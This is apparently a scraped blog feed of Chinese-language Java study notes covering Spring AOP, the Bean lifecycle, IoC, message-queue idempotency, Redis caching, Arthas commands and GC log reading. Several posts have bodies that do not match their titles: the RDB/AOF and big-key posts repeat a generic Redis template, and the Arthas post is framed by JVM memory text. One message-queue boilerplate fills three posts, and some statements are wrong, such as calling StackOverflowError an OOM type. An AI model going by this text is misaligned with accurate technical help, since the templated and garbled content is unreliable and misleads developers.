        UserService proxy = context.getBean(UserService.class);
        proxy.methodB();
    }
}

#

2. 代理对象类型

UserService service = context.getBean(UserService.class);
System.out.println(service.getClass());  
// class com.example.UserService$$EnhancerBySpringCGLIB$$xxx

#

3. final 方法

CGLIB 无法代理 final 方法，JDK 代理不受影响（因为代理的是接口）。

总结

AOP 是 Spring 框架的灵魂特性，它：

  • 解耦横切关注点：日志、事务、安全与业务分离
  • 提高代码复用：统一的切面逻辑多处复用
  • 增强可维护性：修改切面逻辑不影响业务代码

理解 JDK 动态代理和 CGLIB 的原理，有助于正确使用 AOP 并排查相关问题。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring 学习笔记 Spring 消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 Bean生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

生命周期流程图

1. 实例化
   └─ 调用构造器创建对象

2. 属性赋值
   └─ 依赖注入（DI）

3. 设置 BeanName
   └─ BeanNameAware.setBeanName()

4. 设置 BeanFactory
   └─ BeanFactoryAware.setBeanFactory()

5. 设置 ApplicationContext
   └─ ApplicationContextAware.setApplicationContext()

6. 预初始化（BeanPostProcessor.postProcessBeforeInitialization）

7. 初始化
   ├─ @PostConstruct
   ├─ InitializingBean.afterPropertiesSet()
   └─ 自定义 init-method

8. 后初始化（BeanPostProcessor.postProcessAfterInitialization）
   └─ AOP 代理创建

9. Bean 就绪，可以使用

10. 销毁
    ├─ @PreDestroy
    ├─ DisposableBean.destroy()
    └─ 自定义 destroy-method

代码演示

#

完整生命周期 Bean

@Component
public class LifecycleBean implements 
        BeanNameAware, 
        BeanFactoryAware, 
        ApplicationContextAware,
        InitializingBean, 
        DisposableBean {
    
    private String name;
    
    public LifecycleBean() {
        System.out.println("1. 构造器：实例化");
    }
    
    @Autowired
    public void setName(String name) {
        System.out.println("2. 属性赋值：name = " + name);
        this.name = name;
    }
    
    @Override
    public void setBeanName(String name) {
        System.out.println("3. BeanNameAware：name = " + name);
    }
    
    @Override
    public void setBeanFactory(BeanFactory beanFactory) {
        System.out.println("4. BeanFactoryAware");
    }
    
    @Override
    public void setApplicationContext(ApplicationContext applicationContext) {
        System.out.println("5. ApplicationContextAware");
    }
    
    @PostConstruct
    public void postConstruct() {
        System.out.println("7a. @PostConstruct");
    }
    
    @Override
    public void afterPropertiesSet() {
        System.out.println("7b. InitializingBean.afterPropertiesSet()");
    }
    
    public void customInit() {
        System.out.println("7c. 自定义 init-method");
    }
    
    @PreDestroy
    public void preDestroy() {
        System.out.println("10a. @PreDestroy");
    }
    
    @Override
    public void destroy() {
        System.out.println("10b. DisposableBean.destroy()");
    }
    
    public void customDestroy() {
        System.out.println("10c. 自定义 destroy-method");
    }
}

#

BeanPostProcessor 演示

@Component
public class CustomBeanPostProcessor implements BeanPostProcessor {
    
    @Override
    public Object postProcessBeforeInitialization(Object bean, String beanName) {
        if (bean instanceof LifecycleBean) {
            System.out.println("6. BeanPostProcessor.beforeInitialization：" + beanName);
        }
        return bean;
    }
    
    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) {
        if (bean instanceof LifecycleBean) {
            System.out.println("8. BeanPostProcessor.afterInitialization：" + beanName);
        }
        return bean;
    }
}

#

输出顺序

1. 构造器：实例化
2. 属性赋值：name = xxx
3. BeanNameAware：name = lifecycleBean
4. BeanFactoryAware
5. ApplicationContextAware
6. BeanPostProcessor.beforeInitialization：lifecycleBean
7a. @PostConstruct
7b. InitializingBean.afterPropertiesSet()
7c. 自定义 init-method
8. BeanPostProcessor.afterInitialization：lifecycleBean
Bean 就绪！
...
10a. @PreDestroy
10b. DisposableBean.destroy()
10c. 自定义 destroy-method

关键扩展点

#

1. Aware 接口

用于获取 Spring 容器的基础设施：

接口获取对象
BeanNameAwareBean 名称
BeanFactoryAwareBeanFactory
ApplicationContextAwareApplicationContext
EnvironmentAwareEnvironment
ResourceLoaderAwareResourceLoader

#

2. BeanPostProcessor

public interface BeanPostProcessor {
    // 初始化前处理
    Object postProcessBeforeInitialization(Object bean, String beanName);
    
    // 初始化后处理（AOP代理在此创建）
    Object postProcessAfterInitialization(Object bean, String beanName);
}

应用场景：

  • AOP 代理创建
  • @Autowired 处理（AutowiredAnnotationBeanPostProcessor）
  • @Scheduled 处理
  • 属性加密解密

#

3. 初始化方法

三种方式，执行顺序：

  1. @PostConstruct（JSR-250，推荐）
  2. InitializingBean.afterPropertiesSet()（侵入性较强）
  3. init-method（XML/注解配置）
@Bean(initMethod = "customInit", destroyMethod = "customDestroy")
public LifecycleBean lifecycleBean() {
    return new LifecycleBean();
}

#

4. 销毁方法

三种方式，执行顺序：

  1. @PreDestroy（JSR-250，推荐）
  2. DisposableBean.destroy()
  3. destroy-method

实际应用

#

场景1：属性解密

@Component
public class DecryptBeanPostProcessor implements BeanPostProcessor {
    
    @Override
    public Object postProcessAfterInitialization(Object bean, String beanName) {
        for (Field field : bean.getClass().getDeclaredFields()) {
            if (field.isAnnotationPresent(Encrypted.class)) {
                field.setAccessible(true);
                String encrypted = (String) field.get(bean);
                field.set(bean, decrypt(encrypted));
            }
        }
        return bean;
    }
}

#

场景2：健康检查

@Component
public class HealthCheckBean implements InitializingBean {
    
    @Override
    public void afterPropertiesSet() {
        // 启动时检查数据库连接、Redis等
        checkDatabaseConnection();
        checkRedisConnection();
    }
}

#

场景3：资源释放

@Component
public class ConnectionPool {
    private Connection connection;
    
    @PostConstruct
    public void init() {
        connection = createConnection();
    }
    
    @PreDestroy
    public void close() {
        if (connection != null) {
            connection.close();
        }
    }
}

原型 Bean 的生命周期

@Scope("prototype")
@Component
public class PrototypeBean {
    @PreDestroy
    public void destroy() {
        // 不会自动调用！
    }
}

注意：prototype 作用域的 Bean，Spring 只负责创建，不管理销毁。需要手动释放资源。

总结

阶段扩展方式用途
实例化构造器创建对象
属性赋值Setter/字段依赖注入
AwaresetXxx获取容器资源
初始化前BeanPostProcessor.before预处理
初始化@PostConstruct/afterPropertiesSet初始化逻辑
初始化后BeanPostProcessor.afterAOP代理、后处理
销毁@PreDestroy/destroy资源释放

掌握 Bean 生命周期，可以灵活运用 Spring 的扩展点，实现各种高级功能。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring 学习笔记 Spring 消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 Spring IoC容器到底解决了什么 //spring-ioc-rong-qi-dao-di-jie-jue-liao-shi-me/ Spring IoC容器到底解决了什么

IoC 容器是 Spring 的根基，很多开发者每天在用却未必能说清它解决了什么。从手动 new 对象到依赖注入，这个转变看似简单，却带来了巨大的设计优势。本文从实际使用场景出发，理解依赖注入的价值。

什么是控制反转

#

传统方式：对象主动获取依赖

public class UserService {
    // 自己创建依赖
    private UserDao userDao = new UserDaoImpl();
    
    public User getUser(Long id) {
        return userDao.findById(id);
    }
}

问题：

  1. 紧耦合：依赖具体实现
  2. 难测试：无法替换 Mock 对象
  3. 难扩展：修改依赖需要改代码

#

IoC 方式：容器注入依赖

public class UserService {
    private UserDao userDao;
    
    // 由外部注入
    public UserService(UserDao userDao) {
        this.userDao = userDao;
    }
    
    public User getUser(Long id) {
        return userDao.findById(id);
    }
}

优势：

  1. 松耦合：依赖接口而非实现
  2. 易测试：方便注入 Mock
  3. 可扩展：配置决定实现

IoC vs DI

概念说明
IoC设计原则，控制权的转移
DI实现方式，依赖由外部注入

关系：DI 是 IoC 的一种实现方式。此外还有依赖查找（DL）。

Spring IoC 容器

#

核心接口

BeanFactory（基础IoC容器）
    └── ApplicationContext（高级容器）
            ├── ClassPathXmlApplicationContext
            ├── AnnotationConfigApplicationContext
            └── SpringApplication（Spring Boot）

#

BeanFactory vs ApplicationContext

特性BeanFactoryApplicationContext
懒加载是否（可配置）
事件发布不支持支持
AOP 集成需手动内置
MessageSource不支持支持
资源加载基础高级
// BeanFactory（很少直接使用）
BeanFactory factory = new XmlBeanFactory(new ClassPathResource("beans.xml"));
UserService service = factory.getBean(UserService.class);

// ApplicationContext（推荐）
ApplicationContext context = new AnnotationConfigApplicationContext(AppConfig.class);
UserService service = context.getBean(UserService.class);

依赖注入的三种方式

#

1. 构造器注入（推荐）

@Service
public class UserService {
    private final UserDao userDao;
    
    @Autowired  // Spring 4.3+ 可省略
    public UserService(UserDao userDao) {
        this.userDao = userDao;
    }
}

优点：

  • 依赖不可变（final）
  • 依赖非空
  • 易测试

#

2. Setter 注入

@Service
public class UserService {
    private UserDao userDao;
    
    @Autowired
    public void setUserDao(UserDao userDao) {
        this.userDao = userDao;
    }
}

优点：可选依赖
缺点：对象可能处于不完整状态

#

3. 字段注入（不推荐）

@Service
public class UserService {
    @Autowired
    private UserDao userDao;  // 反射注入
}

缺点：

  • 无法使用 final
  • 无法保证非空
  • 不易测试（需反射或 Spring 容器）

IoC 解决的问题

#

1. 解耦

// 以前
public class OrderService {
    private AlipayPayment payment = new AlipayPayment();
}

// 现在
public class OrderService {
    private final Payment payment;
    
    public OrderService(Payment payment) {
        this.payment = payment;  // 可以是 AlipayPayment 或 WechatPayment
    }
}

#

2. 可测试性

@Test
public void testGetUser() {
    // 注入 Mock 对象
    UserDao mockDao = Mockito.mock(UserDao.class);
    when(mockDao.findById(1L)).thenReturn(new User("test"));
    
    UserService service = new UserService(mockDao);
    User user = service.getUser(1L);
    
    assertEquals("test", user.getName());
}

#

3. AOP 基础

@Transactional
public void transfer(Long from, Long to, BigDecimal amount) {
    // Spring 通过 IoC 管理代理对象
    // 在方法前后自动开启/提交事务
}

#

4. 生命周期管理

@Component
public class DatabaseConnection {
    @PostConstruct
    public void init() {
        // 连接数据库
    }
    
    @PreDestroy
    public void destroy() {
        // 关闭连接
    }
}

Bean 的作用域

作用域说明
singleton默认，每个 Spring 容器一个实例
prototype每次获取创建新实例
requestHTTP 请求范围
sessionHTTP 会话范围
applicationServletContext 范围
@Component
@Scope("prototype")
public class PrototypeBean {
    // 每次注入都创建新实例
}

实际收益

方面传统方式Spring IoC
耦合度高低
测试难度高低
代码量少略多
可维护性低高
扩展性低高

总结

IoC 不是技术，而是一种设计思想：

  • 谁控制：传统是对象自己控制依赖，IoC 是容器控制
  • 反转了什么：依赖获取的控制权反转了

Spring IoC 容器通过 DI 实现 IoC，解决了：

  1. 对象间的紧耦合
  2. 单元测试困难
  3. 对象生命周期管理复杂
  4. AOP 等高级特性的基础

理解 IoC 的本质，有助于写出更松耦合、更易测试、更易维护的代码。

核心要点

  1. 依赖注入实现了控制反转，把对象创建的控制权交给容器

  2. 构造器注入优于字段注入，能保证依赖的不可变性和非空性

  3. IoC 容器提供了对象生命周期管理、依赖解析、配置管理等能力

  4. 通过 @Autowired 或 @Resource 注解实现依赖注入，前者按类型，后者按名称

总结

IoC 不仅是一种技术实现，更是一种设计理念。它让代码更易测试、更易维护、更具扩展性。理解 IoC 有助于更好地设计和架构 Spring 应用。

]]> Spring 学习笔记 Spring JVM可视化监控工具Arthas //jvm-ke-shi-hua-jian-kong-gong-ju-arthas/ JVM可视化监控工具Arthas

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

安装与启动

# 在线安装
curl -O https://arthas.aliyun.com/arthas-boot.jar

# 启动
java -jar arthas-boot.jar

# 选择要诊断的 Java 进程
[INFO] arthas-boot version: 3.x.x
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 12345 /app/myapp.jar
  [2]: 67890 org.apache.catalina.startup.Bootstrap
1

核心命令

#

1. dashboard：系统仪表盘

$ dashboard

输出：

ID   NAME                      GROUP    PRIORITY STATE    %CPU  TIME   INTERRUPTED DAEMON
12   AsyncAppender-Worker      main     5        WAITING  0.0   0:0    false       true
...

Memory                    used    total    max     usage    GC
heap                      256M    512M     4096M   6.25%    gc.g1_young_generation.count   100
g1_eden_space             100M    200M     -       50.00%   gc.g1_young_generation.time    500ms
g1_old_gen                150M    300M     4096M   3.66%
g1_survivor_space         6M      12M      -       50.00%

#

2. thread：线程诊断

# 查看所有线程
$ thread

# 查看最忙的5个线程
$ thread -n 5

# 查看指定线程
$ thread 12

# 查看死锁
$ thread -b

# 查看线程状态统计
$ thread --state

#

3. trace：方法耗时追踪

# 追踪方法的入参和返回值
$ trace com.example.Service getOrder '#cost>100' -n 5

# 只追踪异常
$ trace com.example.Service getOrder '#cost>100' --skipJDKMethod false

# 多层追踪
$ trace -E com.example.Service|com.example.Dao getOrder

输出：

`---ts=2024-06-13 10:00:00;thread_name=http-nio-8080-exec-1;id=12;is_daemon=true;priority=5;TCCL=org.springframework.boot.web.embedded.tomcat.TomcatEmbeddedWebappClassLoader@1234
    `---[50.234ms] com.example.Service:getOrder()
        +---[5.123ms] com.example.Dao:queryById()
        +---[40.456ms] com.example.Client:fetchRemote() # 这里耗时最长
        `---[4.655ms] com.example.Mapper:insertLog()

#

4. watch：方法执行数据观测

# 查看方法入参和返回值
$ watch com.example.Service getOrder '{params,returnObj}' -x 2

# 查看异常
$ watch com.example.Service getOrder '{params,throwExp}' -e

# 查看方法执行前后的对象字段
$ watch com.example.User setName '{target,name,params,returnObj}' -b -s -x 2

参数：

  • -b：方法执行前
  • -s：方法执行后
  • -e：方法异常后
  • -x 2：展开层级

#

5. jad：反编译代码

# 反编译类
$ jad com.example.Service

# 反编译方法
$ jad com.example.Service getOrder

# 反编译并保存
$ jad --source-only com.example.Service > /tmp/Service.java

#

6. redefine：热更新代码

# 1. 修改 Java 文件
# 2. 编译为 class
javac /tmp/Service.java

# 3. 热加载
$ redefine /tmp/Service.class

注意：

  • 不能修改方法签名
  • 不能添加/删除方法
  • 不能修改静态字段

#

7. heapdump：生成堆 dump

# 生成堆 dump
$ heapdump /tmp/dump.hprof

# 只 dump live 对象
$ heapdump --live /tmp/dump.hprof

#

8. vmtool：强制 GC、获取实例

# 强制 GC
$ vmtool --action forceGc

# 获取类的所有实例
$ vmtool --action getInstances --className com.example.User --limit 10

# 执行表达式
$ vmtool --action getInstances --className java.lang.String \
    --express 'instances.length'

#

9. tt：方法执行时空隧道

# 记录方法调用
$ tt -t com.example.Service getOrder

# 查看记录
$ tt -l

# 重放第1000次调用
$ tt -p -i 1000

# 查看调用入参和返回值
$ tt -i 1000 -w '{params, returnObj}'

#

10. profiler：生成火焰图

# 开始采样
$ profiler start

# 查看状态
$ profiler status

# 停止并生成火焰图
$ profiler stop --file /tmp/flamegraph.html

# 指定采样事件
$ profiler start --event alloc  # 内存分配
$ profiler start --event lock   # 锁竞争

实战场景

#

场景1：接口响应慢

# 1. 找到处理请求的线程
$ thread -n 5

# 2. 追踪方法耗时
$ trace com.example.Controller getData '#cost>1000'

# 3. 定位到具体方法后，查看入参
$ watch com.example.Dao slowQuery '{params}' -x 2

#

场景2：线上 Bug 修复

# 1. 反编译确认代码
$ jad com.example.Service bugMethod

# 2. 修改本地代码并编译

# 3. 热更新
$ redefine /tmp/Service.class

# 4. 验证修复
$ trace com.example.Service bugMethod

#

场景3：内存泄漏排查

# 1. 查看内存使用
$ dashboard

# 2. 获取可疑类的实例
$ vmtool --action getInstances --className com.example.Cache --limit 100

# 3. 查看对象引用链
$ heapdump /tmp/dump.hprof
# 用 MAT 分析

在 Spring Boot 中集成

<dependency>
    <groupId>com.taobao.arthas</groupId>
    <artifactId>arthas-spring-boot-starter</artifactId>
    <version>3.6.7</version>
    <scope>runtime</scope>
</dependency>
arthas:
  agent-id: myapp
  tunnel-server: ws://127.0.0.1:7777/ws

总结

命令用途
dashboard查看系统整体状态
thread线程诊断
trace方法耗时追踪
watch观测方法数据
jad反编译
redefine热更新
heapdump堆内存 dump
vmtool强制 GC、获取实例
tt方法调用记录与重放
profiler火焰图

Arthas 是 Java 线上诊断的瑞士军刀，掌握它可以大幅提升线上问题排查效率。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM 学习笔记 JVM 消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 GC日志怎么看才有用 //gc-ri-zhi-zen-me-kan-cai-you-yong/ GC日志怎么看才有用

GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。

开启 GC 日志

#

JDK 8

-XX:+PrintGCDetails
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:+PrintGCCause
-Xloggc:/var/log/app/gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=10
-XX:GCLogFileSize=10M

#

JDK 9+

-Xlog:gc*:file=/var/log/app/gc.log:time,uptime,level,tags:filecount=10,filesize=10m

G1 GC 日志解读

#

Young GC 日志

[2024-06-12T10:23:45.123+0800] [gc,start     ] GC(123) Pause Young (Normal) (G1 Evacuation Pause)
[2024-06-12T10:23:45.124+0800] [gc,task      ] GC(123) Using 8 workers of 8 for evacuation
[2024-06-12T10:23:45.125+0800] [gc,phases    ] GC(123)   Pre Evacuate Collection Set: 0.1ms
[2024-06-12T10:23:45.126+0800] [gc,phases    ] GC(123)   Evacuate Collection Set: 45.2ms
[2024-06-12T10:23:45.126+0800] [gc,phases    ] GC(123)   Post Evacuate Collection Set: 2.1ms
[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Eden regions: 25->0(30)
[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Survivor regions: 3->5(4)
[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Old regions: 45->45
[2024-06-12T10:23:45.126+0800] [gc,heap      ] GC(123) Humongous regions: 2->2
[2024-06-12T10:23:45.126+0800] [gc,metaspace ] GC(123) Metaspace: 45M(50M)->45M(50M) NonClass: 40M Class: 5M
[2024-06-12T10:23:45.126+0800] [gc           ] GC(123) Pause Young (Normal) (G1 Evacuation Pause) 150M->52M(512M) 47.456ms
[2024-06-12T10:23:45.126+0800] [gc,cpu       ] GC(123) User=0.35s Sys=0.02s Real=0.05s

解读：

字段含义
GC(123)第123次GC
Pause Young (Normal)Young GC，普通模式
Eden regions: 25->0(30)Eden区从25个Region变为0个，目标30个
Survivor regions: 3->5(4)Survivor区从3个变为5个（超过目标4个，下次会调整）
150M->52M(512M)GC前堆使用150M，GC后52M，堆总量512M
47.456msGC停顿时间
User=0.35s所有GC线程消耗的用户态CPU时间总和
Real=0.05s实际 wall-clock 时间

#

Full GC 日志

[2024-06-12T10:24:01.234+0800] [gc,start      ] GC(456) Pause Full (Allocation Failure)
[2024-06-12T10:24:01.234+0800] [gc,phases,start] GC(456) Phase 1: Mark live objects
[2024-06-12T10:24:01.345+0800] [gc,phases      ] GC(456) Phase 1: Mark live objects 111.1ms
[2024-06-12T10:24:01.345+0800] [gc,phases,start] GC(456) Phase 2: Prepare for compaction
[2024-06-12T10:24:01.378+0800] [gc,phases      ] GC(456) Phase 2: Prepare for compaction 32.7ms
[2024-06-12T10:24:01.378+0800] [gc,phases,start] GC(456) Phase 3: Adjust pointers
[2024-06-12T10:24:01.456+0800] [gc,phases      ] GC(456) Phase 3: Adjust pointers 78.3ms
[2024-06-12T10:24:01.456+0800] [gc,phases,start] GC(456) Phase 4: Move objects
[2024-06-12T10:24:01.567+0800] [gc,phases      ] GC(456) Phase 4: Move objects 111.2ms
[2024-06-12T10:24:01.567+0800] [gc             ] GC(456) Pause Full (Allocation Failure) 450M->120M(512M) 333.456ms

警示：Full GC 停顿 333ms，且原因 Allocation Failure，说明堆内存不足或对象晋升过快。

ZGC 日志解读

[2024-06-12T10:30:00.001+0800] [gc,start] GC(100) Garbage Collection (Proactive)
[2024-06-12T10:30:00.001+0800] [gc,phases] GC(100) Pause Mark Start 0.005ms
[2024-06-12T10:30:00.015+0800] [gc,phases] GC(100) Concurrent Mark 14.234ms
[2024-06-12T10:30:00.015+0800] [gc,phases] GC(100) Pause Mark End 0.003ms
[2024-06-12T10:30:00.016+0800] [gc,phases] GC(100) Concurrent Process Non-Strong References 0.456ms
[2024-06-12T10:30:00.017+0800] [gc,phases] GC(100) Concurrent Reset Relocation Set 0.123ms
[2024-06-12T10:30:00.017+0800] [gc,phases] GC(100) Concurrent Destroy Detached Pages 0.001ms
[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Concurrent Select Relocation Set 0.789ms
[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Concurrent Prepare Relocation Set 0.234ms
[2024-06-12T10:30:00.018+0800] [gc,phases] GC(100) Pause Relocate Start 0.004ms
[2024-06-12T10:30:00.025+0800] [gc,phases] GC(100) Concurrent Relocate 6.789ms
[2024-06-12T10:30:00.025+0800] [gc       ] GC(100) Garbage Collection (Proactive) 800M(1000M)->200M(1000M) 2.3M->1.2M(64M) 0.005ms

ZGC 特点：

  • 只有 Pause Mark Start/End 和 Pause Relocate Start 是 STW
  • 每次 STW 通常 < 1ms
  • 主要看 Concurrent 阶段耗时

日志分析工具

#

1. GCViewer

开源 GC 日志可视化工具：

java -jar gcviewer.jar gc.log

功能：

  • 吞吐量、停顿时间图表
  • 内存使用趋势
  • 统计报告

#

2. gceasy.io

在线 GC 日志分析：

上传 gc.log -> 自动生成报告

报告内容：

  • JVM 内存大小
  • 关键性能指标
  • GC 原因分析
  • 优化建议

#

3. GCPlot

另一在线分析工具，支持多种 GC 类型。

关键指标

指标健康范围说明
吞吐量> 95%用户代码时间 / 总时间
GC 停顿< 200ms (G1)最大停顿时间
Young GC 频率< 1次/秒过于频繁说明年轻代太小
Full GC 频率< 1次/小时频繁 Full GC 需要关注
堆使用率< 70%留出增长空间
晋升失败0Evacuation Failure 需要解决

调优决策

Young GC 频繁
    ├── 停顿时间短 (< 50ms) -> 增大 Eden 区
    └── 停顿时间长 (> 200ms) -> 检查大对象、增大 Region

Full GC 频繁
    ├── 内存泄漏 -> MAT 分析 heap dump
    ├── 堆太小 -> 增大 Xmx
    └── 对象过早晋升 -> 增大 Survivor 区、提高 TenuringThreshold

GC 停顿过长
    ├── G1 -> 降低 MaxGCPauseMillis 或换 ZGC
    ├── CMS -> 升级 G1 或 ZGC
    └── Parallel -> 换 G1

总结

收集器关注重点
G1Evacuation Pause 时间、Mixed GC 频率、Region 数量
ZGCPause Mark/Relocate 时间、并发阶段耗时
CMSConcurrent Mode Failure、Promotion Failed

GC 日志分析的核心：先看停顿时间是否达标，再看 GC 频率是否合理，最后分析 GC 原因。善用可视化工具，可以大幅提升分析效率。

核心要点

  1. 关注 Minor GC 和 Full GC 的频率和耗时

  2. 年轻代晋升到老年代的对象大小和频率

  3. GC 前后的内存使用变化

  4. 使用 jstat、jmap、jvisualvm 等工具辅助分析

总结

GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。

]]> JVM 学习笔记 JVM Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
